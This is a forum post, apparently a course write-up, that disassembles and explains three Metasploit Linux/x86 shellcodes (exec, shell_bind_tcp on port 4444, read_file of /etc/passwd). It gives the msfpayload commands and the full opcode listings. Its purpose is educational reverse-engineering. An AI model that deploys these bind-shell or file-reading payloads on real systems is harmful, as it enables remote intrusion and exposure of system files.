Nytro Posted January 25, 2014 Report Posted January 25, 2014 (edited) Assignment five is about analyzing three different shellcodes, created with msfpayload for Linux/x86.linux/x86/execI choosed the linux/x86/exec shellcode as first example.With:$ msfpayload linux/x86/exec cmd="ls" R | ndisasm -u -it is possible to disassemble the shellcode:00000000 6A0B push byte +0xb00000002 58 pop eax00000003 99 cdq00000004 52 push edx00000005 66682D63 push word 0x632d00000009 89E7 mov edi,esp0000000B 682F736800 push dword 0x68732f00000010 682F62696E push dword 0x6e69622f00000015 89E3 mov ebx,esp00000017 52 push edx00000018 E803000000 call dword 0x200000001D 6C insb0000001E 7300 jnc 0x2000000020 57 push edi00000021 53 push ebx00000022 89E1 mov ecx,esp00000024 CD80 int 0x80I will now comment the relevant lines of the shellcode.00000000 6A0B push byte +0xb00000002 58 pop eaxEAX is set to 0xb = 11. This is the number for execve:$ grep 11 /usr/include/i386-linux-gnu/asm/unistd_32.h#define __NR_execve 11... SNIP ...00000003 99 cdq00000004 52 push edxSet edx to zero and push it in the stack for termination.00000005 66682D63 push word 0x632dThis pushes “-c” on the stack.00000009 89E7 mov edi,espMove the stackpointer to EDI. So EDI is pointing to “-c”.0000000B 682F736800 push dword 0x68732f00000010 682F62696E push dword 0x6e69622f00000015 89E3 mov ebx,espPush /bin/sh to the stack and move the stackpointer to EBX. EBX is pointing to “/bin/sh”.It can be seen, that the ls command is not executed directly. A shell is called with the -c option. From the bash man page:“-c string If the -c option is present, then commands are read from string. If there are arguments after the string, they are assigned to the positional parameters, starting with $0.”00000017 52 push edxPush some zeros again.00000018 E803000000 call dword 0x20This one jumps to 0×20.00000020 57 push edi00000021 53 push ebx00000022 89E1 mov ecx,esp00000024 CD80 int 0x80EDI (-c), EBX (/bin/sh) and are pushed on the stack, ECX is moved to ESP and the function is called.Now here comes the interesting part. It is not possible to get the command “ls” from debugging with gdb nor analyzing it with libemu. But the ls (as hex: 6c 73) command is in the code.0000001D 6C insb0000001E 7300 jnc 0x20I think that the ls is pushed on the stack too, although the debugger does not notice anything of that… hmpf.So maybe libemu can help us here.For analyzing the shellcode with libemu I use:$ msfpayload linux/x86/exec cmd="ls" R | sctest -vvv -Ss 100000 -G Exec.dotThe ls command should be executed. The output is showing exactly how the execve call is build.... SNIP ...[emu 0x0x8f3e088 debug ] Flags: int execve ( const char * dateiname = 0x00416fc0 => = "/bin/sh"; const char * argv[] = [ = 0x00416fb0 => = 0x00416fc0 => = "/bin/sh"; = 0x00416fb4 => = 0x00416fc8 => = "-c"; = 0x00416fb8 => = 0x0041701d => = "ls"; = 0x00000000 => none; ]; const char * envp[] = 0x00000000 => none;) = 0;... SNIP ...Here it can be seen, that the “ls” command is on the stack too.From the Exec.dot file a diagram can be made for illustrating the programm execution.dot Exec.dot -Tpng -o Exec.dot.pngExec.dotThat was it for the first shellcode.linux/x86/shell_bind_tcpFor the second shellcode to analyze I choosed linux/x86/shell_bind_tcp. Disassembling works as follows:$ msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | ndisasm -u -00000000 31DB xor ebx,ebx00000002 F7E3 mul ebx00000004 53 push ebx00000005 43 inc ebx00000006 53 push ebx00000007 6A02 push byte +0x200000009 89E1 mov ecx,esp0000000B B066 mov al,0x660000000D CD80 int 0x800000000F 5B pop ebx00000010 5E pop esi00000011 52 push edx00000012 680200115C push dword 0x5c11000200000017 6A10 push byte +0x1000000019 51 push ecx0000001A 50 push eax0000001B 89E1 mov ecx,esp0000001D 6A66 push byte +0x660000001F 58 pop eax00000020 CD80 int 0x8000000022 894104 mov [ecx+0x4],eax00000025 B304 mov bl,0x400000027 B066 mov al,0x6600000029 CD80 int 0x800000002B 43 inc ebx0000002C B066 mov al,0x660000002E CD80 int 0x8000000030 93 xchg eax,ebx00000031 59 pop ecx00000032 6A3F push byte +0x3f00000034 58 pop eax00000035 CD80 int 0x8000000037 49 dec ecx00000038 79F8 jns 0x320000003A 682F2F7368 push dword 0x68732f2f0000003F 682F62696E push dword 0x6e69622f00000044 89E3 mov ebx,esp00000046 50 push eax00000047 53 push ebx00000048 89E1 mov ecx,esp0000004A B00B mov al,0xb0000004C CD80 int 0x80And here is the output from the libemu analysis.$ msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | sctest -vvv -Ss 100000 -G shell_bind_tcp.dot... SNIP ...int socket ( int domain = 2; int type = 1; int protocol = 0;) = 14;int bind ( int sockfd = 14; struct sockaddr_in * my_addr = 0x00416fc2 => struct = { short sin_family = 2; unsigned short sin_port = 23569 (port=4444); struct in_addr sin_addr = { unsigned long s_addr = 0 (host=0.0.0.0); }; char sin_zero = " "; }; int addrlen = 16;) = 0;int listen ( int s = 14; int backlog = 0;) = 0;int accept ( int sockfd = 14; sockaddr_in * addr = 0x00000000 => none; int addrlen = 0x00000010 => none;) = 19;int dup2 ( int oldfd = 19; int newfd = 14;) = 14;int dup2 ( int oldfd = 19; int newfd = 13;) = 13;int dup2 ( int oldfd = 19; int newfd = 12;) = 12;int dup2 ( int oldfd = 19; int newfd = 11;) = 11;int dup2 ( int oldfd = 19; int newfd = 10;) = 10;int dup2 ( int oldfd = 19; int newfd = 9;) = 9;int dup2 ( int oldfd = 19; int newfd = 8;) = 8;int dup2 ( int oldfd = 19; int newfd = 7;) = 7;int dup2 ( int oldfd = 19; int newfd = 6;) = 6;int dup2 ( int oldfd = 19; int newfd = 5;) = 5;int dup2 ( int oldfd = 19; int newfd = 4;) = 4;int dup2 ( int oldfd = 19; int newfd = 3;) = 3;int dup2 ( int oldfd = 19; int newfd = 2;) = 2;int dup2 ( int oldfd = 19; int newfd = 1;) = 1;int dup2 ( int oldfd = 19; int newfd = 0;) = 0;int execve ( const char * dateiname = 0x00416fb2 => = "/bin//sh"; const char * argv[] = [ = 0x00416faa => = 0x00416fb2 => = "/bin//sh"; = 0x00000000 => none; ]; const char * envp[] = 0x00000000 => none;) = 0;... SNIP ...I analyze the relevant parts of the shellcode, I will use both, the disassembly and the libemu output for further explanation.00000000 31DB xor ebx,ebx00000002 F7E3 mul ebx00000004 53 push ebx00000005 43 inc ebx00000006 53 push ebx00000007 6A02 push byte +0x200000009 89E1 mov ecx,esp0000000B B066 mov al,0x660000000D CD80 int 0x80First the EBX and the EAX registers are filled with zeros. EBX is pushed on the stack, then EBX is set to one and again pushed on the stack. After this two is pushed on the stack. After this the stack address is set to ECX, and EAX is 66. This is the syscall (102) for the socketcall function, which is called afterward. In this case the socket() functions is executed. The rorresponding libemu output:int socket ( int domain = 2; int type = 1; int protocol = 0;) = 14;0000000F 5B pop ebx00000010 5E pop esi00000011 52 push edx00000012 680200115C push dword 0x5c11000200000017 6A10 push byte +0x1000000019 51 push ecx0000001A 50 push eax0000001B 89E1 mov ecx,esp0000001D 6A66 push byte +0x660000001F 58 pop eax00000020 CD80 int 0x80To shorten things a little, this part calls the bind function (which is EAX syscall 102 and EBX 1 = SYS_SOCKET = socket() ).This correspondence with the libemu output (the whole output can be seen below).int bind ( int sockfd = 14; struct sockaddr_in * my_addr = 0x00416fc2 => struct = { short sin_family = 2; unsigned short sin_port = 23569 (port=4444); struct in_addr sin_addr = { unsigned long s_addr = 0 (host=0.0.0.0); }; char sin_zero = " "; }; int addrlen = 16;) = 0;5c11 is port 4444 btw.00000022 894104 mov [ecx+0x4],eax00000025 B304 mov bl,0x400000027 B066 mov al,0x6600000029 CD80 int 0x80Here EAX = ffffff66 and EBX = 4, this is defining the listen() function.$ less /usr/include/linux/net.h | grep 4#define SYS_LISTEN 4 /* sys_listen(2) */Here is the libemu output:int listen ( int s = 14; int backlog = 0;) = 0;0000002B 43 inc ebx0000002C B066 mov al,0x660000002E CD80 int 0x80EBX is now 5, which defines the accept function…int accept ( int sockfd = 14; sockaddr_in * addr = 0x00000000 => none; int addrlen = 0x00000010 => none;) = 19;00000030 93 xchg eax,ebx00000031 59 pop ecx00000032 6A3F push byte +0x3f00000034 58 pop eax00000035 CD80 int 0x8000000037 49 dec ecx00000038 79F8 jns 0x32EAX = 3f = 63, this is the syscall for dup2.$ grep 63 /usr/include/i386-linux-gnu/asm/unistd_32.h#define __NR_dup2 63This procedure is repeated until ECX=0, so we have any descriptor included.0000003A 682F2F7368 push dword 0x68732f2f0000003F 682F62696E push dword 0x6e69622f00000044 89E3 mov ebx,esp00000046 50 push eax00000047 53 push ebx00000048 89E1 mov ecx,esp0000004A B00B mov al,0xb0000004C CD80 int 0x80Finally we have the execve call. This works pretty much as in the analysis of the linux/x86/exec shellcode.int execve ( const char * dateiname = 0x00416fb2 => = "/bin//sh"; const char * argv[] = [ = 0x00416faa => = 0x00416fb2 => = "/bin//sh"; = 0x00000000 => none; ]; const char * envp[] = 0x00000000 => none;) = 0;I also used the debugger for analyzing the shellcode, but I think the output there is no more help.And finally the flowchart.$ dot shell_bind_tcp.dot -Tpng -o shell_bind_tcp.dot.pngshell_bind_tcp.dotSo that was it for the second analysis.linux/x86/read_fileSo let us start by disassembling the shellcode:$ sudo msfpayload linux/x86/read_file PATH="/etc/passwd" R | ndisasm -u -00000000 EB36 jmp short 0x3800000002 B805000000 mov eax,0x500000007 5B pop ebx00000008 31C9 xor ecx,ecx0000000A CD80 int 0x800000000C 89C3 mov ebx,eax0000000E B803000000 mov eax,0x300000013 89E7 mov edi,esp00000015 89F9 mov ecx,edi00000017 BA00100000 mov edx,0x10000000001C CD80 int 0x800000001E 89C2 mov edx,eax00000020 B804000000 mov eax,0x400000025 BB01000000 mov ebx,0x10000002A CD80 int 0x800000002C B801000000 mov eax,0x100000031 BB00000000 mov ebx,0x000000036 CD80 int 0x8000000038 E8C5FFFFFF call dword 0x20000003D 2F das0000003E 657463 gs jz 0xa400000041 2F das00000042 7061 jo 0xa500000044 7373 jnc 0xb900000046 7764 ja 0xac00000048 00 db 0x00Libemu and sctest did not work for me. So I will only look at the disassembly and debugging.First things first: The shellcode is using the JMP-CALL-POP technique. This can be seen very good by stepping throught the code but also by having a look at the disassembled code.00000000 EB36 jmp short 0x38Jump to address 0×38.00000038 E8C5FFFFFF call dword 0x20000003D 2F das0000003E 657463 gs jz 0xa400000041 2F das00000042 7061 jo 0xa500000044 7373 jnc 0xb900000046 7764 ja 0xac00000048 00 db 0x00Call 0×2. Be aware 3D – 48 is a data section. Here is nothing else as the path: /etc/passwd.00000002 B805000000 mov eax,0x500000007 5B pop ebx00000008 31C9 xor ecx,ecx0000000A CD80 int 0x80Move 5 to EAX for syscall 5, which is open(). Point EBX to /etc/passwd, and execute. Return the file descriptor to EAX, for example 3.0000000C 89C3 mov ebx,eax0000000E B803000000 mov eax,0x300000013 89E7 mov edi,esp00000015 89F9 mov ecx,edi00000017 BA00100000 mov edx,0x10000000001C CD80 int 0x80Here the syscall for read() is executed. For this, EAX and EBX are set to 3. EBX contains the file descriptor, ECX points EDI. EDX which presents the size is set to 1000.0000001E 89C2 mov edx,eax00000020 B804000000 mov eax,0x400000025 BB01000000 mov ebx,0x10000002A CD80 int 0x80So finally the result is written (syscall 4 is write()) to the standart output.0000002C B801000000 mov eax,0x100000031 BB00000000 mov ebx,0x000000036 CD80 int 0x80And exit.So that was it for the last analysis.This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: Assembly Language and Shellcoding on Linux Edited January 25, 2014 by Nytro Quote